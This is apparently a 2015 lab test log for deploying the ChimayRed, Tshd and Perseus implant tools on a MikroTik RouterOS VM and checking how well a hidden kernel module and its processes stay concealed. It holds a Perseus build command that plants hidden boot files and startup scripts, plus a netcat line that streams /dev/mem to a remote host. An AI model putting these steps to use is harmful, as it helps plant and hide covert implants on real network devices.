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DUT5 - x86 VM - Notes
IP: 172.20.100.26/30
VLAN: 617
ROS: 6.19
Tool Versions Used:
ChimayRed 4.6.1
TshPatcher 1.0.4
Perseus 1.1.0
Test Notes
7/27/2015
- Create Ubuntu 14.10 Host VM
- Imported ROS 6.19 x86 VMVirtual Machine into vSphere.
7/28/2015
- Generate Perseus binary: python bin/perseus_1.1.0.4_routeros6_i386.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-mipsbe -S /flash/boot/hidden/startup -s 2 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic -z /flash/boot/hidden/zero deploy_$PERSEUS_DEPLOY_VER
- PERSEUS_DEPLOY_VER=2015-07-28
- Configured WAN, LAN, DHCPDynamic Host Configuration Protocol Server, NATNetwork Address Translation on DUT.
- Threw ChimayRed and Tshd. Uploaded BB.
7/29/2015
- Re-ran all tests listed below. Completed testing - no new finding/observations.
- Started putting together ERB package.
Operator Notes
- No default firewall to block port 80 (Web GUIGraphical User Interface) on ROS 6.19 x86.
- No attempts to connect to cloud.mikrotik.com are seen.
Tests to Run:
mcc is visible
| ID | Status | Task |
|---|---|---|
| 1 | complete | lsmod | grep mcc # mcc will appear in list |
| 2 | complete | ls /lib/modules/3.3.5 #no mcc |
| 3 | complete | ls /ram/pckg #no mcc |
Inconsistent hiding
| ID | Status | Task |
|---|---|---|
| 4 | complete | ls /sys/module #mcc should be visible |
| 5 | complete | ls /sys/kernel # mcc should be hidden |
Check netstat for PID/Program name
| ID | Status | Task |
|---|---|---|
| 15 | complete | bb netstat -p |
Check if kallsyms shows 'mcc' and its symbols
| ID | Status | Task |
|---|---|---|
| 16 | complete | cat /proc/kallsyms | bb grep mcc |
Flux appears in firewall connections
| ID | Status | Task |
|---|---|---|
| 6 | complete |
/ip firewall connection print |
Sequential listing of /proc/pid reveals hidden directories.
| ID | Status | Task |
|---|---|---|
| 7 | complete | Run following script |
cd /flash/boot
vi iterate_proc.sh
#!/bin/ash
i=1
#echo "PIDs in /proc/" > proc_dirs
while [ $i -lt 1000 ];
do
test -d /proc/$i && echo $i >> proc_dirs
i=$((i+1));
done
chmod +x iterate_proc.sh
bb ls -1v /proc > ls_dirs
bb grep -Fxv -f ls_dirs proc_dirs
Check if connection is attempted to cloud.mikrotik.com
| ID | Status | Task |
|---|---|---|
| 8 | complete | /system logging add action=echo topics=system,!ntp,!dhcp,!rip,!snmp |
- Connection is NOT attempted on 6.19 x86.
Inspect Memory
| ID | Status | Task |
|---|---|---|
| 9 | complete | ICON: nc -l -p 9999 | dd bs=1048576 of=DUTX-ram.bin |
| 10 | complete | Target: /flash/boot/hidden/busybox dd if=/dev/mem bs=1048576 count=512 | bb nc 172.20.12.100 9999 |
| 11 | complete | Check for ELFs |
| 12 | complete | Check if call tables were modified |
| 13 | complete | Check mcc.ko for 'srcversion' string |
| 14 | complete | Remove perseus and re-inspect memory for mcc unload. Search for 'unload' |
Verify Files Hidden
| ID | Status | Task |
|---|---|---|
| 0 | complete | bb ps ax | grep startup |
| 17 | complete | bb ps ax | grep tsh |
| 18 | complete | bb ps ax | grep flx |
Previous versions:
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